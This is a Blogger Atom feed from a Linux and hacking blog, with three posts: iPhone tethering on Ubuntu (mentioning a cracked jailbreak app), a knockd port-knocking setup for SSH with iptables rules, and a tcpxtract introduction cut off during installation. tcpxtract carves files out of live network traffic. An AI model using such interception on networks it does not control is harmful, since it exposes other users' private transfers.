<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3152879559065474295</id><updated>2012-04-16T20:24:27.291-07:00</updated><category term='Xen'/><category term='Theharvester'/><category term='gpg'/><category term='Research'/><category term='Iphone'/><category term='Foremost'/><category term='rsync'/><category term='bind9'/><category term='Syslog'/><category term='KeyLoggers'/><category term='Mysql'/><category term='VirtualBox'/><category term='Postfix'/><category term='Vmware'/><category term='Bug'/><category term='Nmap'/><category term='lxc'/><category term='Ubuntu 9.10'/><category term='Skype'/><category term='OpenVPN'/><category term='Geoedge'/><category term='SlackwareColombia'/><category term='RedHat'/><category term='SleuthKit'/><category term='Sarg'/><category term='Feelings'/><category term='PXE'/><category term='Git'/><category term='3dm2'/><category term='Safari'/><category term='Ubuntu-11.10'/><category term='Compumax'/><category term='SSL'/><category term='Apache'/><category term='Services'/><category term='News'/><category term='scripting'/><category term='Sasl2'/><category term='tcpxtract'/><category term='Manuals'/><category term='Debian'/><category term='Netcat'/><category term='Cracking'/><category term='John Ripper'/><category term='CentOS'/><category term='SIPVicious'/><category term='ubuntu 10.10'/><category term='Pidgin'/><category term='Asterisk'/><category term='PacketFilter'/><category term='NanoStation2'/><category term='Nagios'/><category term='openssh'/><category term='Squid'/><category term='Comcel'/><category term='Expect'/><category term='Amsn'/><category term='Huevonadas'/><category term='Flisol-2009'/><category term='JDK'/><category term='Port-Knokcing'/><category term='Ruby'/><category term='OpenVz'/><category term='CenOS-5'/><category term='xorg.conf'/><category term='shorewall'/><category term='LogKeys'/><category term='Wifi'/><category term='Manuscripts'/><category term='Php'/><category term='Tools'/><category term='Hacking'/><category term='Training'/><category term='Tricks'/><category term='Apache2'/><category term='GlusterFS'/><category term='OpenBSD'/><title type='text'>STUFF  uid=1000(x1nux)</title><subtitle type='html'>Hacking, Cracking, Training, Manuals, Research, Feelings, Tricks and more.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default?start-index=26&amp;max-results=25'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>99</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-7446363268149465469</id><published>2012-04-04T01:33:00.003-07:00</published><updated>2012-04-04T01:48:39.454-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu-11.10'/><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Manuals'/><title type='text'>Iphone + Ubuntu + tethering</title><content type='html'>Saludos ..&lt;br /&gt;&lt;br /&gt;El presente post es para narrar acerca de una eventualidad que actualmente vivo; por cosas del destino "&lt;span style="font-style: italic;"&gt;Una corrida&lt;/span&gt;" tengo un&lt;span style="font-weight: bold;"&gt; Iphone 3gs&lt;/span&gt;, dicho Iphone tiene un plan de datos, pero aveces necesito conectar la Laptop con el Internet del celular.&lt;br /&gt;&lt;br /&gt;La forma antigua era tener &lt;span style="font-style: italic;"&gt;el Iphone con JailBreak&lt;/span&gt; e instalar un software crakeado llamado "&lt;span style="font-weight: bold; font-style: italic;"&gt;MyWi&lt;/span&gt;" pero con el tiempo se volvió mas difícil encontrar dicho software y ponerlo a funcionar.&lt;br /&gt;&lt;br /&gt;Dicho software "&lt;span style="font-weight: bold; font-style: italic;"&gt;MyWi&lt;/span&gt;" colocaba el Iphone como AP, lo cual uno solo se conectaba a una red Wifi la cual era el Iphone.&lt;br /&gt;&lt;br /&gt;La otra forma es conectar &lt;span style="font-style: italic;"&gt;el Iphone con el cable USB&lt;/span&gt; y decirle a Linux que lo tome como una interfaz, pero eso hasta hace unos meses no se podía hacer si no con MAC, pero ahora lo podemos hacer con Ubuntu.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;NOTA: &lt;/span&gt;No se que tipo de modificaciones Hicieron los de Ubuntu sobre el kernel y los módulos que manejan el Iphone, pero es la única distro que lo puede hacer. "&lt;span style="font-style: italic;"&gt;Compartir Internet desde el Iphone usando el cable USB&lt;/span&gt;" es Ubuntu.&lt;br /&gt;&lt;br /&gt;Con MAC, usted conecta el Iphone por cable USB y le da la opción compartir Internet al Iphone y el MAC toma el Iphone como una tarjeta de red.&lt;br /&gt;&lt;br /&gt;Ese es exactamente el proceso que debemos hacer pero con Ubuntu.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;&lt;br /&gt;COMO ???&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;1. Instalar un software llamado "&lt;/span&gt;&lt;span style="font-style: italic;"&gt;blueman&lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-size:85%;" &gt;#apt-get install blueman&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;2. Instalar un software llamado "&lt;/span&gt;&lt;span style="font-style: italic;"&gt;ipheth-utils&lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-size:85%;" &gt;#apt-get install ipheth-utils&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;3. Reiniciar el Ubuntu y probar&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-size:85%;" &gt;#reboot&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;y listo ! ya deberia de funcionar.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Espero les funcione, estamos en contacto.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-7446363268149465469?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/7446363268149465469/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2012/04/iphone-ubuntu-tethering.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/7446363268149465469'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/7446363268149465469'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2012/04/iphone-ubuntu-tethering.html' title='Iphone + Ubuntu + tethering'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-3401624295858407086</id><published>2011-11-03T20:40:00.000-07:00</published><updated>2011-11-03T23:14:09.619-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Port-Knokcing'/><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Manuals'/><category scheme='http://www.blogger.com/atom/ns#' term='Cracking'/><title type='text'>knockd - a port-knocking server</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-PqWfQ5NLclk/TrN7Uz-WucI/AAAAAAAABcs/1dM8B4QNs8U/s1600/knock-knock.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 245px;" src="http://3.bp.blogspot.com/-PqWfQ5NLclk/TrN7Uz-WucI/AAAAAAAABcs/1dM8B4QNs8U/s320/knock-knock.jpg" alt="" id="BLOGGER_PHOTO_ID_5671011953268931010" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p&gt;In &lt;a href="http://en.wikipedia.org/wiki/Computer_networking" title="Computer networking" class="mw-redirect"&gt;computer networking&lt;/a&gt;, &lt;b&gt;port knocking&lt;/b&gt; is a method of externally opening &lt;a href="http://en.wikipedia.org/wiki/TCP_and_UDP_port" title="TCP and UDP port" class="mw-redirect"&gt;ports&lt;/a&gt; on a &lt;a href="http://en.wikipedia.org/wiki/Firewall_%28networking%29" title="Firewall (networking)" class="mw-redirect"&gt;firewall&lt;/a&gt;  by generating a connection attempt on a set of prespecified closed  ports. Once a correct sequence of connection attempts is received, the  firewall rules are dynamically modified to allow the host which sent the  connection attempts to connect over specific port(s). A variant called &lt;b&gt;Single Packet Authorization&lt;/b&gt; exists, where only a single 'knock' is needed, consisting of an &lt;a href="http://en.wikipedia.org/wiki/Encryption" title="Encryption"&gt;encrypted&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/Packet_%28information_technology%29" title="Packet (information technology)" class="mw-redirect"&gt;packet&lt;/a&gt;.&lt;sup id="cite_ref-0" class="reference"&gt;&lt;a href="http://en.wikipedia.org/wiki/Port_knocking#cite_note-0"&gt;&lt;span&gt;[&lt;/span&gt;1&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;sup id="cite_ref-1" class="reference"&gt;&lt;a href="http://en.wikipedia.org/wiki/Port_knocking#cite_note-1"&gt;&lt;span&gt;[&lt;/span&gt;2&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt; &lt;p&gt;The primary purpose of port knocking is to prevent an attacker from  scanning a system for potentially exploitable services by doing a &lt;a href="http://en.wikipedia.org/wiki/Port_scan" title="Port scan" class="mw-redirect"&gt;port scan&lt;/a&gt;, because unless the attacker sends the correct knock sequence, the protected ports will appear closed&lt;span style="text-decoration: underline;"&gt;&lt;span style="font-weight: bold;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.zeroflux.org/projects/knock"&gt;&lt;span style="font-weight: bold;"&gt;knockd&lt;/span&gt;&lt;/a&gt; is a port-knock server. It listens to all traffic on an ethernet  (or PPP) interface, looking for special "knock" sequences of port-hits. A  client makes these port-hits by sending a TCP (or UDP) packet to a port  on the server. This port need not be open -- since knockd listens at  the link-layer level, it sees all traffic even if it's destined for a  closed port. When the server detects a specific sequence of port-hits,  it runs a command defined in its configuration file. This can be used to  open up holes in a firewall for quick access.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Install knockd&lt;/span&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;Download:&lt;/p&gt;&lt;p&gt;Download from official site. &lt;a href="http://www.zeroflux.org/projects/knock"&gt;Click Here&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;Unzip tar.gz file:&lt;/p&gt;&lt;p style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;# tar xvfz knock-0.5.tar.gz&lt;/span&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;Configure command:&lt;/p&gt;&lt;p style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;# ./configure&lt;/span&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;Compile command:&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;# make&lt;/span&gt; &lt;/p&gt;&lt;p style="font-weight: bold;"&gt;Install command:&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;# make install &lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Configure Knockd&lt;/span&gt;&lt;/p&gt;&lt;p&gt;The configuration main file = &lt;span style="font-weight: bold;"&gt;/etc/knockd.conf&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;#vi /etc/knockd.conf&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;[options]&lt;br /&gt;    logfile = /var/log/knockd.log&lt;br /&gt;&lt;br /&gt;[openSSH]&lt;br /&gt;    sequence    = 1025,1026,1027&lt;br /&gt;    seq_timeout = 5&lt;br /&gt;    command     = /usr/sbin/iptables -A INPUT -s %IP% -p tcp -m tcp --dport 22 -j ACCEPT&lt;br /&gt;    tcpflags    = syn&lt;br /&gt;&lt;br /&gt;[closeSSH]&lt;br /&gt;    sequence    = 1027,1026,1025&lt;br /&gt;    seq_timeout = 5&lt;br /&gt;    command     = /usr/sbin/iptables -D INPUT -s %IP% -p tcp -m tcp --dport 22 -j ACCEPT&lt;br /&gt;    tcpflags    = syn&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Choose ports combinations in flag "sequence"; and &lt;span id="result_box" class="" lang="en"&gt;&lt;span class="hps"&gt;remember that&lt;/span&gt; &lt;span class="hps"&gt;a sequence is&lt;/span&gt; &lt;span class="hps"&gt;to close&lt;/span&gt; ssh service &lt;span class="hps"&gt;and another&lt;/span&gt; &lt;span class="hps"&gt;to open ssh service.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;By default &lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-style: italic;"&gt;Open the SSH service:&lt;/span&gt; &lt;span style="color: rgb(204, 0, 0);"&gt;1025, 1026, 1027&lt;/span&gt; &lt;/p&gt;&lt;p&gt;&lt;span id="result_box" class="" lang="en"&gt;&lt;span class="hps"&gt;&lt;span style="font-style: italic;"&gt;Close the SSH service: &lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;1027, 1026, 1025&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="font-style: italic; font-weight: bold;"&gt;&lt;span id="result_box" class="short_text" lang="en"&gt;&lt;span class="hps"&gt;This would be the&lt;/span&gt; knock!!&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Close ssh port in server knockd&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span id="result_box" class="long_text" lang="en"&gt;&lt;span class="hps"&gt;You must be&lt;/span&gt; &lt;span class="hps"&gt;sure that&lt;/span&gt; &lt;span class="hps"&gt;ssh&lt;/span&gt; &lt;span class="hps"&gt;port "22"&lt;/span&gt; &lt;span class="hps"&gt;is closed in server machine. "&lt;/span&gt;&lt;/span&gt;&lt;span id="result_box" class="long_text short_text" lang="en"&gt;&lt;span class="hps"&gt;Where to&lt;/span&gt; &lt;span class="hps"&gt;install the&lt;/span&gt; &lt;span class="hps"&gt;knockd"&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;In my case, i execute the following command to close ssh port: &lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;# iptables -A INPUT -p tcp --dport 22 -j DROP&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;How to run knokd server ?&lt;/span&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;In my case i work with default Path of configuration file: &lt;span style="font-weight: bold;"&gt;/etc/knokd.conf.&lt;/span&gt; then execute:&lt;br /&gt;&lt;/p&gt;&lt;p style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#knockd -c /etc/knockd.conf&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;To Help .. Run: &lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;# knockd -h&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;usage: knockd [options]&lt;br /&gt;options:&lt;br /&gt;-i, --interface &lt;int&gt;  network interface to listen on (default "eth0")&lt;br /&gt;-d, --daemon           run as a daemon&lt;br /&gt;-c, --config &lt;file&gt;    use an alternate config file&lt;br /&gt;-D, --debug            output debug messages&lt;br /&gt;-l, --lookup           lookup DNS names (may be a security risk)&lt;br /&gt;-v, --verbose          be verbose&lt;br /&gt;-V, --version          display version&lt;br /&gt;-h, --help             this help&lt;br /&gt;&lt;/file&gt;&lt;/int&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Install knock Client in other machine.&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Then ...  go to other machine and install knock Client.&lt;br /&gt;&lt;span id="result_box" class="short_text" lang="en"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span id="result_box" class="short_text" lang="en"&gt;In my case i used ubuntu:&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#apt-get install knockd&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Open the SSH ports in server Knockd&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Then ... try knock ports in remote server:&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;ubuntu@user$&lt;/span&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;knock 192.168.0.1 1025:tcp 1026:tcp 1027:tcp &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Then .. try  ssh login:&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;ubuntu@user$&lt;/span&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;ssh -l root 192.168.0.1 &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Note 0:&lt;/span&gt; &lt;span id="result_box" class="long_text short_text" lang="en"&gt;&lt;span class="hps"&gt;If  port&lt;/span&gt; &lt;span class="hps"&gt;is opened,&lt;/span&gt; &lt;span class="hps"&gt;asked for the&lt;/span&gt; ssh  &lt;span class="hps"&gt;password.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span id="result_box" class="long_text short_text" lang="en"&gt;&lt;span class="hps"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Close the SSH port using remote knock:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;ubuntu@user$&lt;/span&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;knock 192.168.0.1 1027:tcp 1026:tcp 1025:tcp&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Note 1:&lt;/span&gt; &lt;span id="result_box" class="long_text short_text" lang="en"&gt;&lt;span class="hps"&gt;If  port&lt;/span&gt; &lt;span class="hps"&gt;is closed, &lt;/span&gt;&lt;/span&gt;&lt;span id="result_box" class="long_text short_text" lang="en"&gt;&lt;span class="hps"&gt;when you try start a session ssh, the terminal&lt;/span&gt; &lt;span class="hps"&gt;does not respond. "is  in a loop"&lt;/span&gt;&lt;/span&gt;&lt;span id="result_box" class="long_text short_text" lang="en"&gt;&lt;span class="hps"&gt;.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;TIP !!&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-style: italic;"&gt;In my case i had to create the following configuration trying to open ssh port :&lt;/p&gt;&lt;p&gt;In seccion &lt;span style="font-weight: bold;"&gt;[openSSH]&lt;/span&gt; in &lt;span style="font-weight: bold;"&gt;"command&lt;/span&gt;" tag from configuration file in knokd server; add following line:&lt;/p&gt;&lt;p&gt; &lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;command     =&lt;/span&gt; &lt;span style="color: rgb(204, 0, 0);"&gt;/usr/sbin/iptables -A INPUT -s %IP% -p tcp -m tcp --dport 22 -j ACCEPT&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0);"&gt;iptables -D INPUT -p tcp --dport 22 -j DROP&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;iptables -A INPUT -p tcp --dport 22 -j DROP&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;This line have three commands,&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1.&lt;/span&gt; Open port to incoming IP.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2. &lt;/span&gt;Delete rule that block ssh port.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3. &lt;/span&gt;Add rule to block ssh port, again.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Note 2:&lt;/span&gt; In my case i dont use firewall, &lt;span id="result_box" class="long_text short_text" lang="en"&gt;&lt;span class="hps"&gt;so&lt;/span&gt; i &lt;span class="hps"&gt;add&lt;/span&gt; &lt;span class="hps"&gt;these&lt;/span&gt; &lt;span class="hps"&gt;lines in the&lt;/span&gt; &lt;span class="hps"&gt;command&lt;/span&gt; &lt;span class="hps"&gt;tag&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Thks !!&lt;br /&gt;&lt;span id="result_box" class="long_text short_text" lang="en"&gt;&lt;span class="hps"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span id="result_box" class="long_text short_text" lang="en"&gt;&lt;span class="hps"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-3401624295858407086?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/3401624295858407086/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/11/knockd-port-knocking-server.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/3401624295858407086'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/3401624295858407086'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2011/11/knockd-port-knocking-server.html' title='knockd - a port-knocking server'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-PqWfQ5NLclk/TrN7Uz-WucI/AAAAAAAABcs/1dM8B4QNs8U/s72-c/knock-knock.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-3552372439266254552</id><published>2011-11-03T19:54:00.000-07:00</published><updated>2011-11-03T20:21:33.133-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tcpxtract'/><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Manuals'/><category scheme='http://www.blogger.com/atom/ns#' term='Cracking'/><title type='text'>010001 - tcpxtrac - 100100</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-pYACGR8VeS4/TrNUKQ1eCfI/AAAAAAAABcg/CeK-uoU6lU0/s1600/tcpxtract2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 300px; height: 54px;" src="http://1.bp.blogspot.com/-pYACGR8VeS4/TrNUKQ1eCfI/AAAAAAAABcg/CeK-uoU6lU0/s200/tcpxtract2.jpg" alt="" id="BLOGGER_PHOTO_ID_5670968891084245490" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;tcpxtract &lt;/span&gt;is a tool for extracting files from network traffic based on file signatures. Extracting files based on file type headers and footers (sometimes called "carving") is an age old data recovery technique. Tools like Foremost employ this technique to recover files from arbitrary data streams. Tcpxtract uses this technique specifically for the application of intercepting files transmitted across a network. Other tools that fill a similar need are driftnet and EtherPEG. driftnet and EtherPEG are tools for monitoring and extracting graphic files on a network and is commonly used by network administrators to police the internet activity of their users. The major limitations of driftnet and EtherPEG is that they only support three filetypes with no easy way of adding more. The search technique they use is also not scalable and does not search across packet boundries. tcpxtract features the following:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;    Supports 26 popular file formats out-of-the-box. New formats can be added by simply editing its config file.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;    With a quick conversion, you can use your old Foremost config file with tcpxtract.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;    Custom written search algorithm is lightning fast and very scalable.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;    Search algorithm searches across packet boundries for total coverage and forensic quality.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;    Uses libpcap, a popular, portable and stable library for network data capture.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;    Can be used against a live network or a tcpdump formatted capture file. &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Install tcpxtract&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Note 0: &lt;/span&gt;Execute as root.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Download package:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Download from Official we site: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;http://tcpxtract.sourceforge.net/&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Unzip package: &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;&lt;br /&gt;#tar xvfz tcpxtract-1.0.1.tar.gz&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Configure command:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;&lt;br /&gt;#cd tcpxtract-1.0.1/&lt;br /&gt;#./configure&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Compile command:&lt;/span&gt;&lt;br 